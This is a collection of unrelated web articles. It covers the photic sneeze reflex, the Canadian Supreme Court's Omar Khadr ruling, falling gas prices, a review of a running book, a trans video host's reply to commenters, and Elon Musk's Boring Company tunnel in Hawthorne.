was far from an isolated incident.
-Photic sneeze reflex Synonyms Autosomal Compelling Helio-Ophthalmic Outburst Photic sneeze reflex is inherited in an autosomal dominant manner  The photic sneeze reflex (also backronymed as, Autosomal Compelling Helio-Ophthalmic Outburst (ACHOO) syndrome[1] and colloquially sun sneezing) is a condition that causes sneezing in response to numerous stimuli, such as looking at bright lights or periocular (surrounding the eyeball) injection. The condition affects 18–35% of the population in the United States,[2] but its exact mechanism of action is not well understood.[3]  Symptoms [ edit ]  The photic sneeze reflex manifests itself in the form of uncontrollable sneezing in response to a stimulus which would not produce a sneeze in people without the trait. The sneezes generally occur in bursts of 1 to 10 sneezes, followed by a refractory period that can be as long as 24 hours.  Photic sneezing [ edit ]  A photic sneeze results from exposure to a bright light and is the most common manifestation of the photic sneeze reflex. This reflex seems to be caused by a change in light intensity rather than by a specific wavelength of light.[3]  A study conducted by the School of Optometry at the University of Alabama at Birmingham found that females represent 67% of photic sneezers, and Caucasians represent 94%. The study also found statistically significant correlations between photic sneezing and the presence of a deviated nasal septum. The study also showed that photic sneezing is more likely to be acquired than inherited.[4]  Response to periocular injection [ edit ]  During surgeries in and around the eye, such as corneal transplant surgery, the patient often requires injection of a local anesthetic into the eye. In patients who show the photic sneeze reflex, an injection into the eye, such as that undergone in a retrobulbar or peribulbar block, can often elicit a sneeze from the patient. During these procedures, the patient may be sedated prior to the periocular injection. The patient begins to sneeze just as the needle is inserted into the eye, often resulting in the anesthesiologist having to remove the needle before injecting the local anesthetic in order to avoid damaging the patient's eye.[5]  Sneezing after eating [ edit ]  A condition called gustatory rhinitis can cause some individuals to sneeze after eating, particularly after the consumption of spicy foods.[6] Stomach fullness is another example of a stimulus that can cause uncontrollable sneezing. Those who exhibit this symptom or disorder, called snatiation, undergo uncontrollable fits of 3–15 sneezes immediately after eating large meals that completely fill the stomach, regardless of the type of food eaten. Snatiation is not believed to be an allergic reaction of any kind.[7] Even less well understood than photic sneezing and sneezing in response to periocular injection, the trait appears to be inherited in an autosomal dominant fashion.[8]  Risks [ edit ]  Sneezing generally does not present any particular risks to the individual, and is usually more an annoyance than a risk of injury. The fits of sneezing brought about by the photic sneeze reflex can, however, have dangerous implications during certain scenarios and activities, such as operating a vehicle, or while undergoing operations (dental, optical) and having bright lights directed towards the patient's face.  Disease transmission [ edit ]  Perhaps the most universal risk of sneezing is the spread of disease. Bacterial infections can spread to susceptible uninfected people via the spread of microscopic organisms suspended in the droplets expelled by a sneeze. Bacteria which commonly spread by sneezing include bacterial meningitis, strep throat, and tuberculosis. Viral infections can also be spread by sneezing. When a virus is expelled by a sneeze, its mucous membrane evaporates, and the virus becomes a droplet nucleus which can be inhaled by another person, thus spreading the virulent infection. Examples of virulent infections that spread by sneezing include measles, mumps, rubella, and influenza.[9]  Vehicle operation [ edit ]  A fit of sneezing while operating a vehicle can cause the operator to lose control of that vehicle, resulting in injury to the person, and damage to the vehicle and/or surroundings. In particular, photic sneezing poses a considerable risk to pilots, due to the frequent presence of bright sunlight and the precise reactions needed to successfully control the aircraft. For the pilot of a fighter aircraft, if an uncontrollable fit of sneezing were to occur during aerial combat, the pilot could be incapacitated when his or her situational awareness needs to be greatest. A plane landing on an aircraft carrier or shoreline also requires precise movements and quick reflexes. The reflection of the sun from surrounding water has a high probability of producing at least one photic sneeze for pilots who have the reflex. Any amount of sneezing while attempting to land could cause the pilot to lose control, potentially resulting in disaster.[3]  Medical procedures [ edit ]  Uncontrollable fits of sneezing are common in patients under propofol sedation who undergo periocular or retrobulbar injection. A sneeze by a sedated patient often occurs upon insertion of a needle into or around their eye. The violent and uncontrollable movement of the head during a reflexive sneeze has potential to cause damage within the patient's eye if the needle is not removed before the sneeze occurs.[10]  Pathophysiology [ edit ]  There is much debate about the true cause and mechanism of the sneezing fits brought about by the photic sneeze reflex. Sneezing occurs in response to irritation in the nasal cavity, which results in an afferent nerve fiber signal propagating through the ophthalmic and maxillary branches of the trigeminal nerve to the trigeminal nerve nuclei in the brainstem. The signal is interpreted in the trigeminal nerve nuclei, and an efferent nerve fiber signal goes to different parts of the body, such as mucous glands and the thoracic diaphragm, thus producing a sneeze.[11] The most obvious difference between a normal sneeze and a photic sneeze is the stimulus: normal sneezes occur due to irritation in the nasal cavity, while the photic sneeze can result from a wide variety of stimuli. Some theories are below. There is also a genetic factor that increases the probability of photic sneeze reflex,[12]. The C allele on the rs10427255 SNP is particularly implicated in this [13] although the mechanism is unknown by which this gene increases the probability of this response.  Optic-trigeminal summation [ edit ]  Stimulation of the ophthalmic branch of the trigeminal nerve may enhance the irritability of the maxillary branch, resulting in an increased probability of sneezing. This is similar to the mechanism by which photophobia develops by persistent light exposure relaying signals through the optic nerve and trigeminal nerve to produce increased sensitivity in the ophthalmic branch. If this increased sensitivity occurred in the maxillary branch instead of the ophthalmic branch, a sneeze could result instead of photophobia.[11]  Parasympathetic generalization [ edit ]  The parasympathetic nervous system has many neighboring fibers that respond to different stimuli. When one stimulus activates multiple nerve fibers of the parasympathetic nervous system, parasympathetic generalization is occurring. There is a possibility that sensory input from the eyes could travel to the neurons in the cortex that interpret such signals, but neighboring neurons which are involved in sneezing are also activated, due to the generalization. This could lead to a sneeze in response to a stimulus other than nasal irritation.[11]  Increased light sensitivity [ edit ]  When the trigeminal nerve is directly stimulated, there is the possibility that increased light sensitivity in the ocular nerve could result. An example of directly stimulating would be plucking an eyebrow or pulling hair. In many people who show the photic sneeze reflex, even this direct stimulation can lead to a photic sneeze which is why we find it easier to sneeze while looking at a bright light.[11]  Propofol-induced inhibitory suppression [ edit ]  Uncontrollable sneezing during a periocular injection while sedated by propofol is likely caused by the drug. Propofol has been shown to temporarily suppress inhibitory neurons in the brainstem, which is also where the trigeminal nucleus – the "sneeze center" of the brain – lies. This chain of events leads to increased sensitivity to stimulation and reduced threshold for involuntary responses. this hypersensitive state, the periocular injection stimulates the ophthalmic and/or maxillary branch of the trigeminal nerve, which results in summation in the trigeminal nuclei. This summation can lead to a sneeze in the unconscious patient.[10]  Management [ edit ]  While this phenomenon is poorly understood, recent research has shown that antihistamines being used to treat rhinitis due to seasonal allergies may also reduce the occurrence of photic sneezes in people affected by both conditions.[14]  Those affected by photic sneezing may find relief by shielding their eyes and/or faces with hats, scarves, and sunglasses.[1]  History [ edit ]  The photic sneeze effect is a genetic tendency to begin sneezing, sometimes many times consecutively (due to naso-ocular reflex[15]), when suddenly exposed to bright light. This condition tends to occur more severely after one has emerged into the light after spending time in a dark environment.[16] Although the syndrome is thought to affect about 18-35% of the human population, it is relatively harmless and not widely studied.[3]  The photic sneeze effect has been documented for many centuries. The Greek philosopher Aristotle was one of the first to contemplate this strange phenomenon in 350 BCE, exploring why looking at the sun causes a person to sneeze in The Book of Problems: "Why does the heat of the sun provoke sneezing?"[17][18][19] He hypothesized that the sun’s heat caused sweating inside the nose, which triggered a sneeze in order to remove the moisture.[20] In the 17th century, English philosopher Francis Bacon disproved Aristotle’s theory by facing the sun with his eyes closed, which did not elicit the ordinary sneeze response. Bacon therefore guessed that the eyes played a vital part in triggering photic sneezing. He assumed that looking at the sun's light made the eyes water, and then that moisture proceeded to seep into the nose and irritate it, causing a sneeze.[19] Although plausible, scientists later determined this theory to also be incorrect because sun-induced sneezing occurs too quickly after sunlight exposure; watering of the eyes is a slower process, so it could not play a vital part in triggering the reflex.[19]  Today, scientific attention has mainly focused on a hypothesis proposed in 1964 by Henry Everett, who was the first to call light-induced sneezing “The Photic Sneeze Effect.” Since the nervous system transmits signals at an extremely fast pace, Dr. Everett hypothesized that the syndrome was linked to the human nervous system, and was perhaps caused by the confusion of nerve signals.[21] The genetic basis of photic sneezing still remains unclear, and single genes for this condition have not been found and studied. However, the condition often occurs within families, and it has been suggested that light-induced sneezing is a heritable, autosomal-dominant trait.[22] A 2010 study demonstrated a correlation between photic sneezing and a single-nucleotide polymorphism on chromosome 2.[23]  See also [ edit ]  References [ edit ]
-That’s because the high court said that while the actions of the executive – the Harper government – are “not exempt from constitutional scrutiny,” it would not be “appropriate for the court to give direction as to the diplomatic steps necessary to address the breaches of Mr. Khadr’s Charter rights.”  But in reality, the ruling comes as a disappointment to those who argued the federal government must ask U.S. President Barack Obama to repatriate the Toronto-born native.  It issued a “declaration” that stated clearly the actions of Canadian officials contributed to the continued detention of a young person who had no access to legal counsel, was subjected to “improper treatment” through sleep deprivation, likely aided his upcoming criminal prosecution, and violated principles of fundamental justice.  In a unanimous 24-page ruling by the country’s nine top judges, the court tried to craft a narrow judgment that would grant some relief to Khadr’s advocates.  OTTAWA-The federal Conservative government cannot be forced to ask the United States to return Omar Khadr to Canada, even though the young Khadr’s Charter rights were violated in Guantanamo Bay, the Supreme Court of Canada declared today.  Prime Minister Stephen Harper has consistently refused to request the Americans repatriate Khadr, and argues the U.S. military justice system must be allowed to take its course.  The court essentially deferred to the prime minister and his cabinet’s political choices. Grounded in an attempt to be respectful of the separation of powers, the decision essentially allows the government to stick to its position.  But Nicholson added “the Government will carefully review the Supreme Court's ruling and determine what further action is required.”  He repeated the longstanding Harper government line: “Omar Khadr faces very serious charges including murder, attempted murder, conspiracy, material support for terrorism, and spying.”  Nicholson said the judgment “overturned two previous lower court decisions and ruled that the Government is not required to ask for accused terrorist Omar Khadr’s return to Canada.”  “The Government is pleased that the Supreme Court has recognized the ‘constitutional responsibility of the executive to make decisions on matters of foreign affairs in the context of complex and ever-changing circumstances, taking into account Canada's broader interests,” said Nicholson.  “Naturally we’re disappointed but not surprised,” said lawyer Nathan Whitling, one of Khadr’s Canadian legal team. “It was always a long shot given that there had never been an order of this nature ever granted.”  Whitling said the fact that the court issued a declaration – despite the fact that it is a remedy nobody asked for – “should have” some moral, legal or political sway on the Harper government, but he was not holding out hope.  “We’re realists. Realistically I don’t think it’s going to have an effect on this government’s behaviour…practically speaking, I don’t think Prime Minister Stephen Harper is going to change his mind given the degree to which he has dug in on this issue.”  While Khadr may pick up some rumour of the decision in Guantanamo, he is completely cut off from the world and even his lawyers have to go through several hoops to arrange a phone call. That can take weeks to set up, Whitling said, so it is unlikely they will be able to brief Khadr on the court’s conclusions until the next time they travel there. In any event, they had already prepared him not to expect victory, Whitling said.  “You’d have to classify this as a decision in which they ducked their responsibility to interpret the Charter to protect a Canadian detained abroad,” said New Democrat critic Joe Comartin in an interview.  “It’s disappointing in a sense,” conceded Alex Neve, of Amnesty International, who said the court was “reluctant to go that final step” to grant Khadr the remedy of a repatriation order, even though it said it would address the rights breach.  But Neve said the court’s finding of a Charter violation is a powerful statement from the highest court in the land that the government cannot now ignore.  “Canada has been complicit in serious human rights violations of a Canadian citizen. It is not open to the Canadian government to just yawn and not take that seriously now. There has to be an effective response.”  Sukanya Pillay of the Canadian Civil Liberties Association said the ruling “was not a setback.”  “It’s a victory for human rights in the sense that the court has found that there is a clear breach of section 7 of the Charter, and that Canadian officials had violated their international human rights law obligations.”  “They’ve thrown the ball back into the government’s court but with clearer rules.”  The ruling, which was not authored by a single judge and signed only by “The Court,” did not deal with the question of whether the government has a “duty to protect” a Canadian citizen detained abroad.  As for Khadr’s plight, the court noted the military commission system was found by the U.S. Supreme Court to be an “illegal regime” at one point during the seven years that it detained the young Khadr.  That regime has been revamped, but still allows evidence obtained through “oppressive circumstances.”  The Canadian high court concluded that Canadian officials contributed to depriving Khadr of fundamental justice when CSIS and Foreign Affairs agents interrogated him in Guantanamo in 2003 and 2004 and passed on information to his U.S. prosecutors.  “Interrogation of a youth, to elicit statements about the most serious criminal charges while detained in these conditions and without access to counsel, and while knowing that the fruits of the interrogations would be shared with the U.S. prosecutors, offends the most basic Canadian standards about the treatment of detained youth suspects,” the court said.  Nevertheless, the high court found the lower courts went too far in ordering the government to request Khadr’s repatriation, saying it “gives too little weight to the constitutional responsibility of the executive to make decisions on matters of foreign affairs in the context of complex and every-changing circumstances, taking into account Canada’s broader national interests.”  It also said it is “unclear” whether a proposed repatriation order would be accepted by the U.S.  And it said “the impact on Canadian foreign relations of a repatriation request cannot be properly assessed by the court.”  “We do not know what negotiations may have taken place, or will take place, between the U.S. and Canadian governments over the fate of Mr. Khadr.”  Instead, the court said it would take “the prudent course” of merely declaring that Khadr’s constitutional rights have been violated, and leave it to the federal government to act.  Khadr, now 23, was just 15 when first captured in Afghanistan after a 2002 gunfight and is charged with tossing the grenade that killed a U.S. special forces soldier, Christopher Speer. His lawyers argue Khadr was a child soldier badly injured at the time, “tortured” since then, who cannot be held responsible.  He faces trial by military commission in July for murder and other charges.  His legal team wants Khadr returned to Canada where they say he should be released under a strict supervision and rehabilitation plan.  Khadr is a member of a notorious family whose father, Ahmed Said Khadr, was an Osama bin Laden supporter and later killed by Pakistani forces.
-CALGARY — With the price of crude plunging to its lowest level more than four and a half years, consumers are benefiting at the gas pump, but the savings are being dampened somewhat by a weaker dollar and other factors, according to an energy expert.  Roger McKnight, with En-Pro International in Oshawa, Ont., says motorists across the country are enjoying lower prices, though differing tax structures and market dynamics mean some are paying much more than others.  The average price for a litre of gas in Edmonton now is at around 96 cents, according to Gasbuddy.com and some stations in Calgary were posting sub-dollar prices too.  On Sunday you’re probably going to see a drop of about three cents  “On Sunday you’re probably going to see a drop of about three cents. That will put Ottawa, believe it or not, below a dollar,” he said.  At the higher end, Montreal was seeing average gas prices of $1.24 per litre and Vancouver was at $1.21.  McKnight said foreign exchange swings are a headwind for Canadian consumers, as energy products tend to be bought and sold in U.S. dollars. On Friday, the loonie was at 87 cents against the U.S. dollar.  And oil companies that have operations in both oilfields and refineries will be looking to bolster their profit margins.  “I just don’t know how much longer the oil companies can handle that because I think the refining margins must be getting rather narrow,” McKnight said.  “If they start hurting in the upstream with this crude oil price war going on, they’re going to compensate for that by not passing on as much reductions on the downstream, so the consumer won’t see as much happening that way.”  The price of U.S. benchmark crude — used to make gasoline and other products — is down by more than a third since the summer and closed down a whopping $7.54 at US.$66.15 a barrel on Friday.  And with the decision Thursday by the Organization of Petroleum Exporting Countries to keep output at 30 million barrels a day rather than cut back and put a floor under prices, there’s not much to buoy crude in the near term.  McKnight called OPEC’s decision to stand pat a “shot across the bow” aimed at North American shale oil producers, who have added significant volumes to the market.  But he said he can’t see OPEC keeping up its levels indefinitely.  “I think OPEC is going to have an emergency meeting within three months because nine of the 12 members of OPEC need US$100 a barrel to balance their budgets and provide social services for their people. So I can’t see this going on much longer.”  The share prices of Canadian oil firms were taking a hit after the OPEC decision. On Thursday, the Toronto Stock Exchange’s energy index was off nearly 7%, and on Friday it lost further 2%.
-Ten years ago, Richard Askwith wrote Feet in the Clouds, a celebrated tale of fell-running and obsession. It interwove Richard's's compulsive desire to finish the gruelling Bob Graham Round – a nightmarish 66-mile, 24-hour tour of Cumbria's 42 highest peaks – with historical accounts of Britain's colourful fell-running heritage and interviews with the eccentric characters who think nothing of trotting through the most inhospitable landscapes this country has to offer. If you don't know it and you are runner who reads (or a reader who runs) you'll love it, and you are in luck as an updated anniversary edition has just been published. If you do know it, then you'll be interested in Richard's second book, Running Free, which is published on 6 March.  Running Free is a joyous, eloquent and lyrical account of one man's lifelong love affair with running – and most particularly his passion for running in nature. For Richard there is no better way to spend a Sunday morning - in fact any morning - than stepping out of the back door of his Northamptonshire home and flinging himself across muddy fields and frozen streams, doing battle with nettle thickets and slippery stiles, all the while with Nutmeg his dog matching him stride for stride.  But it wasn't always like that. Richard, like so many of us, used to be a pavement pounder. In Running Free he details how he fell into running in his 20s (overweight and fed up) and grew to love hammering around the parks of the capital and along the south London streets where he used to live. He was always watching the clock, always trying to better his PBs, always clipping seconds from set distances and well-worn routes. But slowly, running became more and more about escape, about leaving the day's stresses and strains behind by, ironically, losing himself in the real world. A place of weather, seasons, nature, mud, hills, mist and more mud, lots of mud. In a defining chapter, Richard describes how he got totally lost on a rural run in France. He had no idea where he was or how to get home. He ran for miles. And slowly, without sounding at all cliched, a new reason to run dawned on him. Now he rarely times his runs. He doesn't even wear a watch. It doesn't matter how fast or slow he is going, it is all about being in the run: "mindful" running. And this new purpose brings rich rewards. Richard writes beautifully about discovering the things most of us never notice: birdsong, different types of mud (we have more than 100 words for the brown stuff), the furrows on a ploughed field, the changing seasons … In many ways Running Free is a hymn to the beauty of the English countryside.  Alternating with these pastoral chapters, Richard documents his ambivalence at the arrival of "big running" and the commercialisation of what should be the most free and liberating of all sports. As he says: "Running hasn't got any more expensive, so why are we paying so much more to do it?" His book charts how running has become monetised and sanitised; how we feel compelled to buy the right kit; how we pay £50 and more simply to run a route that we could do for nothing when ever we wanted; how obstacle events such as Tough Mudder and Rat Race, sell us a tame, anaesthetised version of adventure. He's absolutely right. Running is now colossally big business, and it really doesn't need to be.  By "running free" or as he sometimes says, "running natural", Richard taps into what the sport should be when stripped of all the consumerism and health-and-safety nonsense. He talks about the benefits of running barefoot; he becomes a human "hare" and is chased by a pack of dogs; he goes cheese rolling; he joins a "man hunt" – a sort of extreme version of cross-country tag. His book is a love letter to running outdoors in all its many forms, and there is plenty of it out there, enjoyed everyday by countless thousands. Running Free is simply the prod you need to make you step off the pavement and into the wild. The book is also practical. It tells you how to defrost frozen toes and how to run through a herd of cows, how to pick your way across flooded fields and over slippery styles.  While Feet in the Clouds was driven by the narrative of whether he would finish the Bob Graham, this book is slower and gentler. It's happy to meander its way through a lifetime of jogging. It drifts in parts and I did find myself skipping over some of the natural descriptions, lovely though they are. But mostly I had the heart-lifting sensation that I was out there in the mud with Richard and Nutmeg, running free.  Running Free: a Runner's Journey Back to Nature by Richard Askwith is published by Yellow Jersey Press on 6 March, price £16.99
-(Support Gender Analysis on Patreon!)  2015 has been a fantastic year for the show, and we’ve come a long way since we started. In addition to better equipment and full HD video, we’ve brought more contributors on board, including a dedicated script editor. We also struck a deal with a major YouTube network to provide enhanced visual assets, promotion, and other optimizations. In terms of performance, viewers watched Gender Analysis episodes for more than 9400 hours this year, or about 393 days straight in total.  I’m very happy with everything we’ve accomplished so far, and so many of our viewers have played such an important role in supporting the show and advancing the conversation on trans issues. That said, there are certain trends I’ve noticed among a very small number of commenters that really only hold that conversation back. While these comments can be unproductive and at times even hostile, I’m confident that we can all try to avoid these missteps and work towards a better dialogue together. Remember: if it doesn’t apply to you, it’s not about you. And if it does, I want to help.  Unsolicited opinions about appearance  Presentation is a pretty important part of this medium, but a lot of the feedback in that area isn’t very constructive. For example, it seems like some commenters just don’t like my face. There’s a substantial difference between our perspectives here. To you, that’s your perception, and it might as well be reality as far as you’re concerned. To me, it’s more like sitting at a giant blinking switchboard of everyone’s judgment.  You are a drop in an ocean of opinions, most of which can’t decide whether I’m beautiful or merely very attractive. Who do you think I’m going to listen to?  Also, if you feel the need to remark on whether I “pass”, you are missing so many points. Think about it: do you really believe someone with a trans symbol tattooed on their chest is even trying to pass? How about when they’re hosting an entire show about their experiences as a trans person? I don’t doubt that you could tell I was trans, but it doesn’t really count if I’m practically waving a sign.  Not paying attention to the episodes  I love how so many of our viewers engage with the ideas presented in each episode. But if you leave a comment that makes it obvious you haven’t paid any attention to the video, you are the reason I get high all the time. Do you have any idea how frustrating it is to spend two shows on the biological complexities of sex, just for some guy with a profile full of MRA videos to tell me XY chromosomes are “male”? This is a quantifiable problem: according to our stats, viewers only watch an average of 43% of the way through each episode.  Plenty of you are clearly paying attention; others not so much. Unfortunately for them, every part of the show is an important part.  To some extent, this is my fault. Our network actually recommends keeping videos under 3 to 4 minutes, but these are complicated subjects and it’s extremely difficult to leave that much out. Right now, the entire series is slightly longer than the movie Titanic, and I know that’s a lot to sit through. But if you have the time to drop your valuable thoughts on the internet, you could at least go to our blog first and speed-read through the transcripts. And if you still think your definition of “male” is somehow built into the structure of the universe, you need to read some Less Wrong or Slate Star Codex. Please don’t come back until you have.  Lack of clarity on “mental disorders”  It’s interesting to see how often commenters claim that trans people have a “mental disorder”, because they usually go on to ignore everything that implies. If you’re going to point out that gender dysphoria is included in the Diagnostic and Statistical Manual of Mental Disorders and can therefore be called a “mental disorder”, that’s like stopping a movie right before the best part. What else does the DSM say about it? What do major medical organizations say about it? What’s the scientific consensus on the most effective treatments for it?  Remember, you’re arguing about this with someone who’s actually received this diagnosis as well as the professionally recommended treatment for it – which is transitioning. This would still be medically effective and scientifically supported whether you call it a “mental disorder”, a “physical disorder”, or a “green beans disorder”. If you think you can present a comparable body of scientific evidence that more strongly supports another treatment, you’re welcome to try. But you probably won’t have much luck if you didn’t feel like reading past the title of the DSM.  Faux analogies about transness  It’s been 10 years since that episode of South Park, and some commenters still think they’ve found a knock-down argument: if someone can become a woman, what if someone wants to be a dolphin? Or a cat? Or a tree? Or a unicorn? Or Napoleon?  I have some what-ifs, too: What if human fetuses differentiated into humans and dolphins during gestation? What if babies were occasionally born with partial human and partial cat features? What if taking tree hormones induced secondary tree characteristics in humans using our preexisting tree receptors? What if every person’s ancestry contained an unbroken line of unicorns? What if half of the human population was Napoleon?  None of those phenomena are observed in the case of dolphins, cats, trees, or Napoleon. But all of them are observed in the case of physical sex in humans. People can be men. People can be women. If it were really that obviously impossible, you could just argue “What if someone wants to be a woman?” without resorting to unrepresentative comparisons.  “But have you tried…”  When commenters offer their suggestions for alternatives to transitioning, it usually goes like this: “It’s too bad you couldn’t just be a really feminine guy. Have you tried being a gay man?” Maybe they don’t know this, but yes, I have tried those things. I tried them for many years. The two most obvious issues were that I’m not really a guy, and that I’m not attracted to men. Estrogen makes me look and feel the way I want. Living as a woman is more comfortable for me, and healthy intimacy isn’t possible unless I’m a woman with other women. How much longer should I have “tried” something else before acknowledging it’s just not for me? The only reason I bothered in the first place was that I used to be just as lacking in introspection as these people still are.  Imagine if I were to suggest: “Hey, cis gay men, why bother being who and what you are? Have you tried being a lesbian trans woman instead?” But someone who knows they’re happier with their gender and sexuality shouldn’t have to force themselves to live otherwise before they’re finally permitted just to be themselves. Do you really think this is a satisfactory solution for trans people, or do you just not want to see anyone transitioning?  Bathroom fears vs. reality  Even on episodes that have nothing to do with public facilities, some commenters have expressed discomfort with the idea of using restrooms where trans people might be present. Many are quite vocal about what they would do if they saw one of us, ranging from threats of violence to simply not using the restroom while we’re there. What’s puzzling to me is that they have so many “ifs” but so few actual experiences.  You might think such a hostile group, so hyper-attentive toward trans people in restrooms, would be very willing to share any unpleasant encounters that would support their fears. Instead, all I’m seeing are the fears. What did trans people actually do to them, or their family or friends, or anyone? Somehow they never get around to that part. These non-events lack any element that would generate sympathy – I’m not going to feel bad for the transphobes who are anxious over nothing happening. But I am going to be very worried for the safety of any trans person who might run into them while just trying to use the bathroom. If you are the one being disruptive, violent, or exclusionary in that situation, you are creating the problem here.  Putting down other trans people  It’s always nice when someone shares positive thoughts about me or the show. If our work has been enjoyable or helpful to you, that’s wonderful to hear. But if you’re just going to tell me how much better I am than various other trans people you don’t like, I really can’t support that. For example:  We need more transgenders like you in popular media, because I thought transgenders were sexists in the extreme. Like Caitlin presenting herself as a woman for the first time in a SEXY fotoshoot.  This kind of comment makes me want to disappoint you. When you say this, it’s like a backhanded compliment against all of us. I know that because I’ve been on the other side of this, and it’s never a good feeling. I’m often the example used when some cis person wants to explain how much they respect trans people, as long as they’re not too outspoken and feminist “like Zinnia Jones”.  No matter whether you’re comparing me favorably or unfavorably, I have no interest in being used to construct a wall between the trans people you like and the trans people you don’t. I’m not going to be a building block for your standards of what trans people have to do before you’ll respect them. The only thing you’re doing right is telling me exactly how to get on your bad side. ■
-Cities attract wild ideas, from Qinhuangdao’s straddling bus to London’s bike lanes in the sky. As Musk’s Boring Company starts tunnelling, could his plans for underground roads and Hyperloop trains prove the doubters wrong?  In early August, the city council of Hawthorne, California, held a special meeting. It had set aside this time to discuss a major construction project proposed by a high profile company based there in the sprawling Los Angeles basin.  The company was Space Exploration Technologies Corporation, or SpaceX, the rocket-building offshoot of the electric car company Tesla, run by the billionaire entrepreneur Elon Musk. SpaceX had recently spun off another entity, this one aimed at disrupting the tunnel boring business, cheekily named the Boring Company – and it needed the City of Hawthorne’s cooperation.  “We want to prove our technology,” Brett Horton, senior director of facilities and construction at SpaceX, told the city council. The company had recently purchased a used tunnel boring machine from another California city and had begun testing its capabilities below its parking lot. But SpaceX wants to go further, tunnelling a roughly two-mile path beyond its property line and under the streets of Hawthorne. It’s a fairly quotidian infrastructural endeavour, but one tied to a grand vision.  Musk wants to build a vast network of tunnels below cities like Los Angeles in which cars and people will be whisked across town on electrically driven platforms at speeds of 125mph. Like the swooping and merging lanes of an interstate highway, the tunnels would criss-cross the metropolis, far below ground level. Elevators would bring cars, cargo and other vehicles down into tunnels and into the system of tubes on what the Boring Company calls an “electric skate”, then back up another elevator at the desired destination – apparently bypassing all traffic above ground.  Facebook Twitter Pinterest Musk’s boring machine has already started tunnelling. Photograph: Instagram  “Traffic is driving me nuts,” Musk tweeted in December. “Am going to build a tunnel boring machine and just start digging …”  The digging has begun. The company has bored about 160 feet under its own property, with no reported complications. The proposed two-mile extension is being presented as a laboratory for increasing the speed and reducing the cost of tunnelling. It’s a new frontier for a parent organisation that has already developed transformative automobile and rocket technologies.  We want these tunnels to be everywhere Brett Horton  “The next step is to use what we learn to make stronger, faster tunnel boring machines, to make a safe transportation system, and then to figure out where we want to go next,” Horton told the city council. “If you’ve had the opportunity to look at the videos online, it’s not a secret. We want these tunnels to be everywhere. We want to duplicate the road network in LA underground.  “We want to prove that we can solve traffic once and for all,” he said.  From the aspirational to the absurd  Usually these types of proposed projects don’t get built. Sometimes they’re mere marketing or self-promotion, other times they’re earnest suggestions for a better world – either way, they’re almost always able to generate a conversation.  “Visionary proposals are an essential way to come together in discussion about the city,” says Nicholas de Monchaux, an associate professor of architecture and urban design at the University of California, Berkeley. Big ideas for the future city are nothing new, and although these schemes can sometimes seem preposterous in their ambitions, de Monchaux says they have a power to inspire.  Facebook Twitter Pinterest The SpaceX headquarters in Hawthorne, California. Photograph: Alamy  One of the earliest and most enduring visions of an ideal society is presented in the book Utopia, published in 1516 by the lawyer and philosopher Thomas More. “Utopia literally described an island of cities that didn’t exist and couldn’t exist,” says de Monchaux. “But utopias help us think about the world as it actually is and ways we might want to change it – or not.”  Perhaps because of its role in modern life and its impact on urban form, transportation has long been the starting point for these thought experiments. And as technology evolves, these ideas have taken on a variety of new forms, ranging from the aspirational to the absurd.  Near the far end of that spectrum, a company in China gathered global attention in 2016 with plans to build a lane-straddling bus – a novel contraption designed to carry hundreds of passengers over two lanes of traffic, theoretically bypassing congestion. The prototype of a sort of double-wide subway car on stilts, was completed a few months later and given a test run, with regular passenger vehicles driving underneath. But within days the project was stalled, and was abandoned less than a year later after it was accused of being little more than an investment scam. The founder of the company behind the project and 31 employees were recently arrested on suspicion of illegal fundraising.  Although criminal futurism apparently does exist, most of these types of proposals are typically altruistic. In London, a series of aspirational projects have rolled out in recent years presenting new forms of infrastructure aimed at improving the city for cyclists. The London Underline proposes repurposing disused tube tunnels into cross-city bike routes – a scheme for which its designer, the global architecture firm Gensler, was awarded the Best Conceptual Project at the 2015 London Planning Awards.  We want this to be an awesome project that propels us into the future Hawthorne mayor Alex Vargas  SkyCycle, a slightly less realistic idea from Foster + Partners, suggests adding 220km of bike lanes atop the alignments of suburban rail lines. And then there’s the £600m proposal to build a floating pontoon bike path on the Thames. These projects have gathered accolades and interest, but they’ve also been criticised as distracting policymakers from pursuing more achievable cycling improvements.  Similar concerns have been raised about another Musk idea, the pneumatic tube-based intercity transit system known as the Hyperloop. Though still in early test phases and with significant hurdles in the way of even a small-scale rollout, the proposed technology has spurred the launch of multiple companies and coverage by media around the world.  Some worry it’s diverting investment from proven and existing transportation technologies like high speed rail. But for the private companies competing to build the first viable Hyperloop system, traditional high speed rail can’t beat a 700mph tube.  Facebook Twitter Pinterest Elon Musk at SpaceX Hyperloop Pod II competition in Hawthorne, California. Photograph: Mike Blake/Reuters  Musk seems to agree. Although he originally released the Hyperloop idea to the global community in 2013 in the hope that someone else would bring it to reality, now that Musk has his own tunnelling company he has apparently decided to merge the Hyperloop with his underground tunnel traffic solution. “Just received verbal govt approval for The Boring Company to build an underground NY-Phil-Balt-DC Hyperloop,” Musk tweeted in July. “NY-DC in 29 mins.”  While Thomas More sought to use his imagined cities to raise questions and inspire new ways of building society, Musk is looking to put shovels – and tunnel boring machines – in the ground.  Construction ‘within weeks’  On 22 August, officials from the Boring Company were back at Hawthorne City Hall, a squat concrete building where a scale model of a SpaceX rocket sits on display in the central atrium. The company was seeking city council approval of an easement allowing it to use subterranean land beneath public property for its two-mile test tunnel, and affirming its exemption from review under the California Environmental Quality Act (CEQA).  On the wrong tracks: China's 'straddling bus' and other bizarre transport ideas Read more  Lawyers for the Boring Company explained the tunnel’s proposed path: an L-shaped route that would mostly run beneath city streets at depths ranging from 22ft to 44ft below the surface. An environmental consultant explained that a lack of significant impacts to traffic, air, water or noise enables the tunnel to avoid CEQA review under an exemption typically used to streamline infill urban development.  Aside from one member of the public voicing concern about a tunnel collapse and a few questions from council members about the environmental review process, the project was not controversial. The council voted 4-1 to approve the easement.  A few details are still to be decided before a final permit can be issued, but strong city support is likely to ease that process. “We want this to be an awesome project that propels us into the future,” Hawthorne mayor Alex Vargas said.  Horton, through a communications official, declined to comment after the vote.  The tunnel is expected to take five months to build, and construction could begin within weeks.  Follow Guardian Cities on Twitter, Facebook and Instagram to join the discussion, or explore our archive
